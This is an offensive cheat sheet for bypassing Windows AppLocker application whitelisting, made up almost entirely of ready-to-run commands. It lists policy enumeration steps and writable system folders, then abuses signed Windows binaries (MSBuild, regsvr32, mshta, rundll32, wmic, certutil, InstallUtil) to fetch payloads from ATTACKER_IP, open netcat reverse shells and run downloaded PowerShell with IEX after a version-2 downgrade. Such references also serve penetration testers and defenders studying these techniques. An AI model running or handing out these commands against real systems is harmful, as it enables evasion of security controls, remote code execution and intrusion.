AppLocker Bypass

Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2"

Get-AppLockerPolicy -Effective -Xml | Select-String "EnforcementMode"

C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\FxsTmp\
C:\Windows\System32\com\dmp\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter\
C:\Windows\SysWOW64\FxsTmp\
C:\Windows\SysWOW64\com\dmp\
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter\

Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Windows\Tasks\test.exe -User Everyone

icacls C:\Windows\Tasks
icacls C:\Windows\Temp
icacls C:\Windows\tracing

https://lolbas-project.github.io/

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Exec">
    <Exec Command="cmd.exe /c C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"/>
  </Target>
</Project>

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

regsvr32 /s /n /u /i:http://ATTACKER_IP/payload.sct scrobj.dll

mshta http://ATTACKER_IP/payload.hta
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd /c whoami"", 0:close")

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").Run("cmd /c whoami")

wmic process call create "cmd.exe /c C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Windows\Tasks\shell.exe
C:\Windows\Tasks\shell.exe

$ExecutionContext.SessionState.LanguageMode

# PowerShell v2 (if available)
powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')"

rundll32.exe shell.dll,EntryPoint

cscript payload.vbs
wscript payload.js